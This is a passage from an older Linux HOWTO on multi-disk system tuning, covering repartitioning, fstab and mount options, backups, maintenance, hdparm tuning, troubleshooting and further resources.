Partition resizing is a simpler alternative where a file system is first shrunk to desired volume and then the partition table is updated to reflect the new end of partition position. This process is therefore very file system sensitive.

Repartitioning requires there to be free space at the end of the file space so to ensure you are able to shrink the size you should first defragment your drive and empty any wastebaskets.

Using fips you can resize a fat partition, and the latest version 1.6 of fips or fips 2.0 are also able to resize fat32 partition. Note that these programs actually run under DOS.

Resizing other file systems are much more complicated but one popular commercial system Partition Magic is able to resize more file system types, including ext2fs using the resize2fs program. Make sure you get the latest updates to this program as recent versions had problems with large disks.

In order to get the most out of fips you should first delete unnecessary files, empty wastebaskets etc. before defragmenting your drive. This way you can allocate more space to other partitions. If the program complains there are still files at the end of your drive it is probably hidden files generated by Microsoft Mirror or Norton Image. These are probably called image.idx and image.dat and contain backups of some system files.

There are reports that in some Windows defragmentation programs you should make sure the box "allow Windows to move files around" is not checked, otherwise you will end up with some files in the last cylinder of the partition which will prevent FIPS from reclaiming space.

If you still have unmovable files at the end of your DOS partition you should get the DOS program showfat version 3.0 or higher. This shows you what files are where so you can deal with them directly.

A freeware alternative is Partition Resizer which can shrink, grow and move partitions.

Some versions of DOS / Windows have a hidden flag for defrag, "/P that causes defrag to move even hidden files. Use at own risk.

Repartitioning is as dangerous process as any other partitioning so you are advised to have a fresh backup handy.

12.5 Microsoft Partition Bug

In Microsoft products all the way up to Win 98 there is a tricky bug that can cause you a bit of trouble: if you have several primary fat partitions and the last extended partition is not a fat partition the Microsoft system will try to mount the last partition as if it were a FAT partition in place of the last primary FAT partition.

There is more information available on the net on this.

To avoid this you can place a small logical fat partition at the very end of your disk.

More information on multi OS installations are available at V Communications but they keep rearranging the links continuously so no direct links can be offered here.

Since some hardware comes with setup software that is available under DOS only this could come in handy anyway. Notable examples are RAID controllers from DPT and a number of networking cards.

12.6 Multiple Devices (md)

Being in a state of flux you should make sure to read the latest documentation on this kernel feature. It is not yet stable, beware.

Briefly explained it works by adding partitions together into new devices md0, md1 etc. using mdadd before you activate them using mdrun. This process can be automated using the file /etc/mdtab.

The latest md system uses a /etc/raidtab and a different syntax. Make sure your RAID-tools package matches the md version as the internal protocol has changed.

Then you then treat these like any other partition on a drive. Proceed with formatting etc. as described below using these new devices.

There is now also a HOWTO in development for RAID using md you should read.

12.7 Formatting

Next comes partition formatting, putting down the data structures that will describe the files and where they are located. If this is the first time it is recommended you use formatting with verify. Strictly speaking it should not be necessary but this exercises the I/O hard enough that it can uncover potential problems, such as incorrect termination, before you store your precious data. Look up the command mkfs for more details.

Linux can support a great number of file systems, rather than repeating the details you can read the man page for fs which describes them in some details. Note that your kernel has to have the drivers compiled in or made as modules in order to be able to use these features. When the time comes for kernel compiling you should read carefully through the file system feature list. If you use make menuconfig you can get online help for each file system type.

Note that some rescue disk systems require minix, msdos and ext2fs to be compiled into the kernel.

Also swap partitions have to be prepared, and for this you use mkswap.

Some important notes on formatting with DOS and Windows can be found in MS-DOS 5.00 - 7.10 Undocumented, Secret + Hidden Features.

Note that this formatting is high level formatting, that writes the file system to the disk, as opposed to low level formatting that lays down tracks and sectors. The latter is hardly ever needed these days.

12.8 Mounting

Data on a partition is not available to the file system until it is mounted on a mount point. This can be done manually using mount or automatically during booting by adding appropriate lines to /etc/fstab. Read the manual for mount and pay close attention to the tabulation.

12.9 fstab

During the booting process the system mounts all partitions as described in the fstab file which can look something like this:

# <file system>   <mount point>   <type>  <options>   <dump>  <pass>
/dev/hda2          /               ext2    defaults    0       1
None               none            swap    sw          0       0
proc               /proc           proc    defaults    0       0
/dev/hda1          /dosc           vfat    defaults    0       1

This file is somewhat sensitive to the formatting used so it is best and also most convenient to edit it using one of the editing tools made for this purpose, such as on the netfstool, a Tcl/Tk-based file system mounter, and kfstab, an editing tool for KDE.

Briefly, the fields are partition name, where to mount the partition, type of file system, mount options, when to dump for backup and when to do fsck.

Linux offers the possibility of parallel file checking (fsck) but to be efficient it is important not to fsck more than one partition on a drive at a time.

12.10 Mount options

Mounting, either by hand or using the fstab, allows for a number of options that offers extra protection. Below are some of the more useful options.

nodev

Do not interpret character or block special devices on the file system.

noexec

This disallows execution of any binaries on the mounted file system. Useful in spool areas.

nosuid

This disallows set-user-identifier or set-group-identifier on the mounted file system. Useful in home directories.

For more information and cautions refer to the man page for mount and fstab.

12.11 Recommendations

Having constructed and implemented your clever scheme you are well advised to make a complete record of it all, on paper. After all having all the necessary information on disk is no use if the machine is down.

Partition tables can be damaged or lost, in which case it is excruciatingly important that you enter the exact same numbers into fdisk so you can rescue your system. You can use the program printpar to make a clear record of the tables. Also write down the SCSI numbers or IDE names for each disk so you can put the system together again in the right order.

There is also a small script in appendix Appendix M: Disk System Documenter which will generate a summary of your disk configurations.

For checking your hard disks you can use the Disk Advisor boot disk available on the net. The disk builder required Windows to run. This system is useful to diagnose failed disks.

You are strongly recommended to make a rescue disk and test it. Most distributions make on available and is often part of the installation disks. For some, such as the one for Redhat 6.1 the way to invoke the disk as a rescue disk is to type linux rescue at the boot prompt.

There are also specialised rescue disk distributions available on the net.

When need for it comes you will need to know where your root and boot partitions reside which you need to write down and keep safe.

Note: the difference between a boot disk and a rescue disk is that a boot disk will fail if it cannot mount the file system, typically on your hard disk. A rescue disk is self contained and will work even if there are no hard disks.


HOWTO: Multi Disk System Tuning: Maintenance

 Next Previous Contents

13. Maintenance

It is the duty of the system manager to keep an eye on the drives and partitions. Should any of the partitions overflow, the system is likely to stop working properly, no matter how much space is available on other partitions, until space is reclaimed.

Partitions and disks are easily monitored using df and should be done frequently, perhaps using a cron job or some other general system management tool.

Do not forget the swap partitions, these are best monitored using one of the memory statistics programs such as free, procinfo or top.

Drive usage monitoring is more difficult but it is important for the sake of performance to avoid contention - placing too much demand on a single drive if others are available and idle.

It is important when installing software packages to have a clear idea where the various files go. As previously mentioned GCC keeps binaries in a library directory and there are also other programs that for historical reasons are hard to figure out, X11 for instance has an unusually complex structure.

When your system is about to fill up it is about time to check and prune old logging messages as well as hunt down core files. Proper use of ulimit in global shell settings can help saving you from having core files littered around the system.

13.1 Backup

The observant reader might have noticed a few hints about the usefulness of making backups. Horror stories are legio about accidents and what happened to the person responsible when the backup turned out to be non-functional or even non existent. You might find it simpler to invest in proper backups than a second, secret identity.

There are many options and also a mini-HOWTO ( Backup-With-MSDOS ) detailling what you need to know. In addition to the DOS specifics it also contains general information and further leads.

In addition to making these backups you should also make sure you can restore the data. Not all systems verify that the data written is correct and many administrators have started restoring the system after an accident happy in the belief that everything is working, only to discover to their horror that the backups were useless. Be careful.

There are both free and commercial backup systems available for Linux. One commercial example is the disk image level backup system from QuickStart offering a full function 30 day Linux demo available online.

13.2 Defragmentation

This is very dependent on the file system design, some suffer fast and nearly debilitating fragmentation. Fortunately for us, ext2fs does not belong to this group and therefore there has been very little talk about defragmentation tools. It does in fact exist but is hardly ever needed.

If for some reason you feel this is necessary, the quick and easy solution is to do a backup and a restore. If only a small area is affected, for instance the home directories, you could tar it over to a temporary area on another partition, verify the archive, delete the original and then untar it back again.

13.3 Deletions

Quite often disk space shortages can be remedied simply by deleting unnecessary files that accumulate around the system. Quite often programs that terminate abnormally cause all kinds of mess lying around the oddest places. Normally a core dump results after such an incident and unless you are going to debug it you can simply delete it. These can be found everywhere so you are advised to do a global search for them now and then. The locate command is useful for this.

Unexpected termination can also cause all sorts of temporary files remaining in places like /tmp or /var/tmp, files that are automatically removed when the program ends normally. Rebooting cleans up some of these areas but not necessary all and if you have a long uptime you could end up with a lot of old junk. If space is short you have to delete with care, make sure the file is not in active use first. Utilities like file can often tell you what kind of file you are looking at.

Many things are logged when the system is running, mostly to files in the /var/log area. In particular the file /var/log/messages tends to grow until deleted. It is a good idea to keep a small archive of old log files around for comparison should the system start to behave oddly.

If the mail or news system is not working properly you could have excessive growth in their spool areas, /var/spool/mail and /var/spool/news respectively. Beware of the overview files as these have a leading dot which makes them invisible to ls -l, it is always better to use ls -Al which will reveal them.

User space overflow is a particularly tricky topic. Wars have been waged between system administrators and users. Tact, diplomacy and a generous budget for new drives is what is needed. Make use of the message-of-the-day feature, information displayed during login from the /etc/motd file to tell users when space is short. Setting the default shell settings to prevent core files being dumped can save you a lot of work too.

Certain kinds of people try to hide files around the system, usually trying to take advantage of the fact that files with a leading dot in the name are invisible to the ls command. One common example are files that look like ... that normally either are not seen, or, when using ls -al disappear in the noise of normal files like . or .. that are in every directory. There is however a countermeasure to this, use ls -Al that suppresses . or .. but shows all other dot-files.

13.4 Upgrades

No matter how large your drives, time will come when you will find you need more. As technology progresses you can get ever more for your money. At the time of writing this, it appears that 6.4 GB drives gives you the most bang for your bucks.

Note that with IDE drives you might have to remove an old drive, as the maximum number supported on your mother board is normally only 2 or some times 4. With SCSI you can have up to 7 for narrow (8-bit) SCSI or up to 15 for wide (15 bit) SCSI, per channel. Some host adapters can support more than a single channel and in any case you can have more than one host adapter per system. My personal recommendation is that you will most likely be better off with SCSI in the long run.

The question comes, where should you put this new drive? In many cases the reason for expansion is that you want a larger spool area, and in that case the fast, simple solution is to mount the drive somewhere under /var/spool. On the other hand newer drives are likely to be faster than older ones so in the long run you might find it worth your time to do a full reorganizing, possibly using your old design sheets.

If the upgrade is forced by running out of space in partitions used for things like /usr or /var the upgrade is a little more involved. You might consider the option of a full re-installation from your favourite (and hopefully upgraded) distribution. In this case you will have to be careful not to overwrite your essential setups. Usually these things are in the /etc directory. Proceed with care, fresh backups and working rescue disks. The other possibility is to simply copy the old directory over to the new directory which is mounted on a temporary mount point, edit your /etc/fstab file, reboot with your new partition in place and check that it works. Should it fail you can reboot with your rescue disk, re-edit /etc/fstab and try again.

Until volume management becomes available to Linux this is both complicated and dangerous. Do not get too surprised if you discover you need to restore your system from a backup.

The Tips-HOWTO gives the following example on how to move an entire directory structure across:

(cd /source/directory; tar cf - . ) | (cd /dest/directory; tar xvfp -)

While this approach to moving directory trees is portable among many Unix systems, it is inconvenient to remember. Also, it fails for deeply nested directory trees when pathnames become to long to handle for tar (GNU tar has special provisions to deal with long pathnames).

If you have access to GNU cp (which is always the case on Linux systems), you could as well use

cp -av /source/directory /dest/directory

GNU cp knows specifically about symbolic links, hard links, FIFOs and device files and will copy them correctly.

Remember that it might not be a good idea to try to transfer /dev or /proc.

There is also a Hard Disk Upgrade mini-HOWTO that gives you a step by step guide on migrating an entire Linux system, including LILO, form one hard disk to another.

13.5 Recovery

System crashes come in many and entertaining flavours, and partition table corruption always guarantees plenty of excitement. A recent and undoubtedly useful tool for those of us who are happy with the normal level of excitement, is gpart which means "Guess PC-Type hard disk partitions". Useful.

In addition there are some partition utilities available under DOS.

13.6 Rescue Disk

Upgrades of kernel and hardware is not uncommon in the Linux world and it is therefore important that you prepare an updated rescue disk especially when you use special drivers to access your hardware. Rescue disks can be gotten off the net, from your distribution or you can put one together yourself. Do make sure the boot and root parameters are set so the kernel will know where to find your system.

If you don't have a recovery floppy you can use the GRUB boot loader to load from a Linux kernel somewhere on disk, with arguments.


HOWTO: Multi Disk System Tuning: Advanced Issues

 Next Previous Contents

14. Advanced Issues

Linux and related systems offer plenty of possibilities for fast, efficient and devastating destruction. This document is no exception. With power comes dangers and the following sections describe a few more esoteric issues that should not be attempted before reading and understanding the documentation, the issues and the dangers. You should also make a backup. Also remember to try to restore the system from scratch from your backup at least once. Otherwise you might not be the first to be found with a perfect backup of your system and no tools available to reinstall it (or, even more embarrassing, some critical files missing on tape).

The techniques described here are rarely necessary but can be used for very specific setups. Think very clearly through what you wish to accomplish before playing around with this.

14.1 Hard Disk Tuning

The hard drive parameters can be tuned using the hdparms utility. Here the most interesting parameter is probably the read-ahead parameter which determines how much prefetch should be done in sequential reading.

If you want to try this out it makes most sense to tune for the characteristic file size on your drive but remember that this tuning is for the entire drive which makes it a bit more difficult. Probably this is only of use on large servers using dedicated news drives etc.

For safety the default hdparm settings are rather conservative. The disadvantage is that this mean you can get lost interrupts if you have a high frequency of IRQs as you would when using the serial port and an IDE disk as IRQs from the latter would mask other IRQs. This would be noticeable as less then ideal performance when downloading data from the net to disk. Setting hdparm -u1 device would prevent this masking and either improve your performance or, depending on hardware, corrupt the data on your disk. Experiment with caution and fresh backups.

For more information read the article The Need For Speed on tuning with hdparm.

14.2 File System Tuning

Most file systems come with a tuning utility and for ext2fs there is the tune2fs utility. Several parameters can be modified but perhaps the most useful parameter here is what size should be reserved and who should be able to take advantage of this which could help you getting more useful space out of your drives, possibly at the cost of less room for repairing a system should it crash.

14.3 Spindle Synchronizing

This should not in itself be dangerous, other than the peculiar fact that the exact details of the connections remain unclear for many drives. The theory is simple: keeping a fixed phase difference between the different drives in a RAID setup makes for less waiting for the right track to come into position for the read/write head. In practice it now seems that with large read-ahead buffers in the drives the effect is negligible.

Spindle synchronisation should not be used on RAID0 or RAID 0/1 as you would then lose the benefit of having the read heads over different areas of the mirrored sectors.


HOWTO: Multi Disk System Tuning: Troubleshooting

 Next Previous Contents

15. Troubleshooting

Much can go wrong and this is the start of a growing list of symptoms, problems and solutions:

15.1 During Installation

Locating Disks

Symptoms

Cannot find disk

Problem

How to find what drive letter corresponds to what disk/partition

Solution

Remember Linux does not use drive letters but device names. More information can be found in Drive names.

Symptoms

Cannot partition disk

Problem

Most likely wrong input to the command line for fdisk or similar tool.

Solution

Remember to use /dev/hda rather than just hda. Also do not use numbers behind hda, those indicate partitions.

Formatting

Symptoms

Cannot format disk.

Problem

Strictly speaking you format partitions not disks.

Solution

Make sure you add the partition number after the device name of the disk, for instance /dev/hda1 to the command line.

15.2 During Booting

Booting fails

Symptoms

Number keep scrolling up the screen.

Problem

Possibly corrupt disk.

Solution

Try another disk, you might have to reinstall. Check for loose cables and possible data corruption.

Symptoms

Get LI and then it hangs.

Problem

You use LILO to load Linux but LILO cannot find your root.

Solution

Read the LILO HOWTO.

Symptoms

Kernel panics, something about missing root file system.

Problem

The kernel does not know where the root partition is.

Solution

Use rdev or (if applicable) LILO to add information to the kernel image where your root is.

Getting into Single User Mode

Symptoms

System boots but get into a root shell in single user mode.

Problem

Something went wrong in the later stages of booting and the system has come far enough to let you open a shell to repair the system.

Solution

Locate the problems from the boot log. Note that file system can be in read-only mode. Remount read-write if you have to. Often the reason is that the /etc/fstab contained an entry that was mismapped such as trying to mount a swap partition as your normal file space.

15.3 During Running

Swap

Symptoms

Short on memory

Problem

Swap space is not available

Solution

Type free and check the output. If you get

             total       used       free     shared    buffers     cached
Mem:         46920      30136      16784       7480      11788       5764
-/+ buffers/cache:      12584      34336
Swap:       128484       9176     119308
then system is running normal. If the line with Swap: contains zeros you have either not mounted the swap space (partition or swap file) (see swapon(8)) or not formatted the swap space (see mkswap(8)).

Partitions

Symptoms

No room amidst plenty 1

Problem

Partitionitis:Underdimensioned partition sizes has caused overflow in some areas

Solution

Examine your partition usage using df(1) and locate problem areas. Normally the problem can be solved by removing old junk but you might have to repartition your system, see section Repartitioning.

Symptoms

No room amidst plenty 2

Problem

Running out of i-nodes has caused overflow in some ares, often in areas with many small files such as news spool.

Solution

Examine your partition usage using df -i and locate problem areas. Normally the problem is solved by reformatting using a higher number of i-nodes, see mkfs(8) and related man pages.


HOWTO: Multi Disk System Tuning: Further Information

 Next Previous Contents

16. Further Information

There is wealth of information one should go through when setting up a major system, for instance for a news or general Internet service provider. The FAQs in the following groups are useful:

16.1 News groups

Some of the most interesting news groups are:

  • Storage.
  • PC storage.
  • AFS.
  • SCSI.
  • Linux setup.

Most newsgroups have their own FAQ that are designed to answer most of your questions, as the name Frequently Asked Questions indicate. Fresh versions should be posted regularly to the relevant newsgroups. If you cannot find it in your news spool you could go directly to the FAQ main archive FTP site. The WWW versions can be browsed at FAQ main archive WWW site.

Some FAQs have their own home site, of particular interest here are

  • SCSI FAQ and
  • comp.arch.storage FAQ.

16.2 Mailing Lists

These are low noise channels mainly for developers. Think twice before asking questions there as noise delays the development. Some relevant lists are linux-raid, linux-scsi and linux-ext2fs. Many of the most useful mailing lists run on the vger.rutgers.edu server but this is notoriously overloaded, so try to find a mirror. There are some lists mirrored at The Redhat Home Page. Many lists are also accessible at linuxhq, and the rest of the web site is a gold mine of useful information.

If you want to find out more about the lists available you can send a message with the line lists to the list server at vger.rutgers.edu ( majordomo@vger.rutgers.edu). If you need help on how to use the mail server just send the line help to the same address. Due to the popularity of this server it is likely it takes a bit to time before you get a reply or even get messages after you send a subscribe command.

There is also a number of other majordomo list servers that can be of interest such as the EATA driver list ( linux-eata@mail.uni-mainz.de) and the Intelligent IO list linux-i2o@dpt.com.

Mailing lists are in a state of flux but you can find links to a number of interesting lists from the Linux Documentation Homepage.

16.3 HOWTO

These are intended as the primary starting points to get the background information as well as show you how to solve a specific problem. Some relevant HOWTOs are Bootdisk, Installation, SCSI and UMSDOS. The main site for these is the LDP archive.

There is a a new HOWTO out that deals with setting up a DPT RAID system, check out the DPT RAID HOWTO homepage.

16.4 Mini-HOWTO

These are the smaller free text relatives to the HOWTOs. Some relevant mini-HOWTOs are Backup-With-MSDOS, Diskless, LILO, Large Disk, Linux+DOS+Win95+OS2, Linux+OS2+DOS, Linux+Win95, NFS-Root, Win95+Win+Linux, ZIP Drive . You can find these at the same place as the HOWTOs, usually in a sub directory called mini. Note that these are scheduled to be converted into SGML and become proper HOWTOs in the near future.

The old Linux Large IDE mini-HOWTO is no longer valid, instead read /usr/src/linux/drivers/block/README.ide or /usr/src/linux/Documentation/ide.txt.

16.5 Local Resources

In most distributions of Linux there is a document directory installed, have a look in the /usr/doc directory. where most packages store their main documentation and README files etc. Also you will here find the HOWTO archive ( /usr/doc/HOWTO) of ready formatted HOWTOs and also the mini-HOWTO archive ( /usr/doc/HOWTO/mini) of plain text documents.

Many of the configuration files mentioned earlier can be found in the /etc directory. In particular you will want to work with the /etc/fstab file that sets up the mounting of partitions and possibly also /etc/mdtab file that is used for the md system to set up RAID.

The kernel source in /usr/src/linux is, of course, the ultimate documentation. In other words, use the source, Luke. It should also be pointed out that the kernel comes not only with source code which is even commented (well, partially at least) but also an informative documentation directory. If you are about to ask any questions about the kernel you should read this first, it will save you and many others a lot of time and possibly embarrassment.

Also have a look in your system log file ( /var/log/messages) to see what is going on and in particular how the booting went if too much scrolled off your screen. Using tail -f /var/log/messages in a separate window or screen will give you a continuous update of what is going on in your system.

You can also take advantage of the /proc file system that is a window into the inner workings of your system. Use cat rather than more to view the files as they are reported as being zero length. Reports are that less works well here.

16.6 Web Pages

There is a huge number of informative web pages out there and by their very nature they change quickly so don't be too surprised if these links become quickly outdated.

A good starting point is of course the Linux Documentation Homepage. that is a information central for documentation, project pages and much, much more.

  • Mike Neuffer, the author of the DPT caching RAID controller drivers, has some interesting pages on SCSI and DPT.
  • Software RAID development information can be found at Linux Kernel site along with patches and utilities.
  • Disk related information on benchmarking, RAID, reliability and much, much more can be found at Linas Vepstas project page.
  • There is also information available on how to RAID the root partition and what software packages are needed to achieve this.
  • In depth documentation on ext2fs is also available.
  • People who looking for information on VFAT, FAT32 and Joliet could have a look at the development page. These drivers are in the 2.1.x kernel development series as well as in 2.0.34 and later.

For diagrams and information on all sorts of disk drives, controllers etc. both for current and discontinued lines The Ref is the site you need. There is a lot of useful information here, a real treasure trove.

Please let me know if you have any other leads that can be of interest.

16.7 Search Engines

When all fails try the internet search engines. There is a huge number of them, all a little different from each other. It falls outside the scope of this HOWTO to describe how best to use them. Instead you could turn to the Troubleshooting on the Internet mini-HOWTO, and the Updated mini-HOWTO.

If you have to ask for help you are most likely to get help in the Linux Setup news group. Due to large workload and a slow network connection I am not able to follow that newsgroup so if you want to contact me you have to do so by e-mail.


HOWTO: Multi Disk System Tuning: Getting Help

 Next Previous Contents

17. Getting Help

In the end you might find yourself unable to solve your problems and need help from someone else. The most efficient way is either to ask someone local or in your nearest Linux user group, search the web for the nearest one.

Another possibility is to ask on Usenet News in one of the many, many newsgroups available. The problem is that these have such a high volume and noise (called low signal-to-noise ratio) that your question can easily fall through unanswered.

No matter where you ask it is important to ask well or you will not be taken seriously. Saying just my disk does not work is not going to help you and instead the noise level is increased even further and if you are lucky someone will ask you to clarify.

Instead describe your problems in some detail that will enable people to help you. The problem could lie somewhere you did not expect. Therefore you are advised to list up the following information on your system:

Hardware

  • Processor
  • DMA
  • IRQ
  • Chip set (LX, BX etc)
  • Bus (ISA, VESA, PCI etc)
  • Expansion cards used (Disk controllers, video, IO etc)

Software

  • BIOS (On motherboard and possibly SCSI host adapters)
  • LILO, if used
  • Linux kernel version as well as possible modifications and patches
  • Kernel parameters, if any
  • Software that shows the error (with version number or date)

Peripherals

  • Type of disk drives with manufacturer name, version and type
  • Other relevant peripherals connected to the same busses

As an example of how interrelated these problems are: an old chip set caused problems with a certain combination of video controller and SCSI host adapter.

Remember that booting text is logged to /var/log/messages which can answer most of the questions above. Obviously if the drives fail you might not be able to get the log saved to disk but you can at least scroll back up the screen using the SHIFT and PAGE UP keys. It may also be useful to include part of this in your request for help but do not go overboard, keep it brief as a complete log file dumped to Usenet News is more than a little annoying.


HOWTO: Multi Disk System Tuning: Concluding Remarks

 Next Previous Contents

18. Concluding Remarks

Disk tuning and partition decisions are difficult to make, and there are no hard rules here. Nevertheless it is a good idea to work more on this as the payoffs can be considerable. Maximizing usage on one drive only while the others are idle is unlikely to be optimal, watch the drive light, they are not there just for decoration. For a properly set up system the lights should look like Christmas in a disco. Linux offers software RAID but also support for some hardware base SCSI RAID controllers. Check what is available. As your system and experiences evolve you are likely to repartition and you might look on this document again. Additions are always welcome.

Finally I'd like to sum up my recommendations:

  • Disks are cheap but the data they contain could be much more valuable, use and test your backup system.
  • Work is also expensive, make sure you get large enough disks as refitting new or repartitioning old disks takes time.
  • Think reliability, replace old disks before they fail.
  • Keep a paper copy of your setup, having it all on disk when the machine is down will not help you much.
  • Start out with a simple design with a minimum of fancy technology and rather fit it in later. In general adding is easier than replacing, be it disks, technology or other features.

18.1 Coming Soon

There are a few more important things that are about to appear here. In particular I will add more example tables as I am about to set up two fairly large and general systems, one at work and one at home. These should give some general feeling on how a system can be set up for either of these two purposes. Examples of smooth running existing systems are also welcome.

There is also a fair bit of work left to do on the various kinds of file systems and utilities.

There will be a big addition on drive technologies coming soon as well as a more in depth description on using fdisk, cfdisk and sfdisk. The file systems will be beefed up as more features become available as well as more on RAID and what directories can benefit from what RAID level.

There is some minor overlapping with the Linux Filesystem Structure Standard and FHS that I hope to integrate better soon, which will probably mean a big reworking of all the tables at the end of this document.

As more people start reading this I should get some more comments and feedback. I am also thinking of making a program that can automate a fair bit of this decision making process and although it is unlikely to be optimum it should provide a simpler, more complete starting point.

18.2 Request for Information

It has taken a fair bit of time to write this document and although most pieces are beginning to come together there are still some information needed before we are out of the beta stage.

  • More information on swap sizing policies is needed as well as information on the largest swap size possible under the various kernel versions.
  • How common is drive or file system corruption? So far I have only heard of problems caused by flaky hardware.
  • References to speed and drives is needed.
  • Are any other Linux compatible RAID controllers available?
  • What relevant monitoring, management and maintenance tools are available?
  • General references to information sources are needed, perhaps this should be a separate document?
  • Usage of /tmp and /var/tmp has been hard to determine, in fact what programs use which directory is not well defined and more information here is required. Still, it seems at least clear that these should reside on different physical drives in order to increase paralellicity.

18.3 Suggested Project Work

Now and then people post on comp.os.linux.*, looking for good project ideas. Here I will list a few that comes to mind that are relevant to this document. Plans about big projects such as new file systems should still be posted in order to either find co-workers or see if someone is already working on it.

Planning tools

that can automate the design process outlines earlier would probably make a medium sized project, perhaps as an exercise in constraint based programming.

Partitioning tools

that take the output of the previously mentioned program and format drives in parallel and apply the appropriate symbolic links to the directory structure. It would probably be best if this were integrated in existing system installation software. The drive partitioning setup used in Solaris is an example of what it can look like.

Surveillance tools

that keep an eye on the partition sizes and warn before a partition overflows.

Migration tools

that safely lets you move old structures to new (for instance RAID) systems. This could probably be done as a shell script controlling a back up program and would be rather simple. Still, be sure it is safe and that the changes can be undone.


HOWTO: Multi Disk System Tuning: Questions and Answers

 Next Previous Contents

19. Questions and Answers

This is just a collection of what I believe are the most common questions people might have. Give me more feedback and I will turn this section into a proper FAQ.

  • Q:How many physical disk drives (spindles) does a Linux system need?

    A: Linux can run just fine on one drive (spindle). Having enough RAM (around 32 MB, and up to 64 MB) to support swapping is a better price/performance choice than getting a second disk. (E)IDE disk is usually cheaper (but a little slower) than SCSI.

  • Q: I have a single drive, will this HOWTO help me?

    A: Yes, although only to a minor degree. Still, section Physical Track Positioning will offer you some gains.

  • Q: Are there any disadvantages in this scheme?

    A: There is only a minor snag: if even a single partition overflows the system might stop working properly. The severity depends of course on what partition is affected. Still this is not hard to monitor, the command df gives you a good overview of the situation. Also check the swap partition(s) using free to make sure you are not about to run out of virtual memory.

  • Q: OK, so should I split the system into as many partitions as possible for a single drive?

    A: No, there are several disadvantages to that. First of all maintenance becomes needlessly complex and you gain very little in this. In fact if your partitions are too big you will seek across larger areas than needed. This is a balance and dependent on the number of physical drives you have.

  • Q: Does that mean more drives allows more partitions?

    A: To some degree, yes. Still, some directories should not be split off from root, check out the file system standards for more details.

  • Q: What if I have many drives I want to use?

    A: If you have more than 3-4 drives you should consider using RAID of some form. Still, it is a good idea to keep your root partition on a simple partition without RAID, see section RAID for more details.

  • Q: I have installed the latest Windows95 but cannot access this partition from within the Linux system, what is wrong?

    A: Most likely you are using FAT32 in your windows partition. It seems that Microsoft decided we needed yet another format, and this was introduced in their latest version of Windows95, called OSR2. The advantage is that this format is better suited to large drives.

    You might also be interested to hear that Microsoft NT 4.0 does not support it yet either.

  • Q: I cannot get the disk size and partition sizes to match, something is missing. What has happened?

    A:It is possible you have mounted a partition onto a mount point that was not an empty directory. Mount points are directories and if it is not empty the mounting will mask the contents. If you do the sums you will see the amount of disk space used in this directory is missing from the observed total.

    To solve this you can boot from a rescue disk and see what is hiding behind your mount points and remove or transfer the contents by mounting the offending partition on a temporary mounting point. You might find it useful to have "spare" emergency mounting points ready made.

  • Q: It doesn't look like my swap partition is in use, how come?

    A: It is possible that it has not been necessary to swap out, especially if you have plenty of RAM. Check your log files to see if you ran out of memory at one point or another, in that case your swap space should have been put to use. If not it is possible that either the swap partition was not assigned the right number, that you did not prepare it with mkswap or that you have not done swapon or added it to your /etc/fstab file.

  • Q: What is this Nyx that is mentioned several times here?

    A: It is a large free Unix system with currently about 10000 users. I use it for my web pages for this HOWTO as well as a source of ideas for a setup of large Unix systems. It has been running for many years and has a quite stable setup. For more information you can view the Nyx homepage which also gives you information on how to get your own free account.


HOWTO: Multi Disk System Tuning: Bits and Pieces

 Next Previous Contents

20. Bits and Pieces

This is basically a section where I stuff all the bits I have not yet decided where should go, yet that I feel is worth knowing about. It is a kind of transient area.

20.1 Swap Partition: to Use or Not to Use

In many cases you do not need a swap partition, for instance if you have plenty of RAM, say, more than 64 MB, and you are the sole user of the machine. In this case you can experiment running without a swap partition and check the system logs to see if you ran out of virtual memory at any point.

Removing swap partitions have two advantages:

  • you save disk space (rather obvious really)
  • you save seek time as swap partitions otherwise would lie in the middle of your disk space.

In the end, having a swap partition is like having a heated toilet: you do not use it very often, but you sure appreciate it when you require it.

20.2 Mount Point and /mnt

In an earlier version of this document I proposed to put all permanently mounted partitions under /mnt. That, however, is not such a good idea as this itself can be used as a mount point, which leads to all mounted partitions becoming unavailable. Instead I will propose mounting straight from root using a meaningful name like /mnt.descriptive-name.

Lately I have become aware that some Linux distributions use mount points at subdirectories under /mnt, such as /mnt/floppy and /mnt/cdrom, which just shows how confused the whole issue is. Hopefully FHS should clarify this.

20.3 Power and Heating

Not many years ago a machine with the equivalent power of a modern PC required 3-phase power and cooling, usually by air conditioning the machine room, some times also by water cooling. Technology has progressed very quickly giving not only high speed but also low power components. Still, there is a definite limit to the technology, something one should keep in mind as the system is expanded with yet another disk drive or PCI card. When the power supply is running at full rated power, keep in mind that all this energy is going somewhere, mostly into heat. Unless this is dissipated using fans you will get a serious heating inside the cabinet followed by a reduced reliability and also life time of the electronics. Manufacturers state minimum cooling requirements for their drives, usually in terms of cubic feet per minute (CFM). You are well advised to take this serious.

Keep air flow passages open, clean out dust and check the temperature of your system running. If it is too hot to touch it is probably running too hot.

If possible use sequential spin up for the drives. It is during spin up, when the drive platters accelerate up to normal speed, that a drive consumes maximum power and if all drives start up simultaneously you could go beyond the rated power maximum of your power supply.

20.4 Deja

This is an Internet system that no doubt most of you are familiar with. It searches and serves Usenet News articles from 1995 and to the latest postings and also offers a web based reading and posting interface. There is a lot more, check out Deja for more information. It changed name from Dejanews.

What perhaps is less known, is that they use about 120 Linux SMP computers many of which use the md module to manage between 4 and 24 Gig of disk space (over 1200 Gig altogether) for this service. The system is continuously growing but at the time of writing they use mostly dual Pentium Pro 200MHz and Pentium II 300 MHz systems with 256 MB RAM or more.

A production database machine normally has 1 disk for the operating system and between 4 and 6 disks managed by the md module where the articles are archived. The drives are connected to BusLogic Model BT-946C and BT-958 PCI SCSI adapters, usually one to a machine.

For the production systems (which are up 365 days a year) the downtime attributable to disk errors is less than 0.25 % (that is a quarter of 1%, not 25%).

Just in case: this is not an advertisement, it is stated as an example of how much is required for what is a major Internet service.

20.5 Crash Recovery

Occationally hard disks crash. A crash causing data scrambling can often be at least partially recovered from and there are already HOWTOs describing this.

In case of hardware failure things are far more serious, and you have two options: either send the drive to a professional data recovery company, or try recovering yourself. The latter is of course high risk and can cause more damage.

If a disk stops rotating or fails to spin up, the number one advice is first to turn off the system as fast as safely possible.

Next you could try disconnecting the drives and power up the machine, just to check power with a multimeter that power is present. Quite often connectors can get unseated and cause all sorts of problems.

If you decide to risk trying it yourself you could check all connectors and then reapply power and see if the drive spins up and responds. If it still is dead turn off power quickly, preferrably before the operating system boots. Make sure that delayed spinup is not deceiving you here.

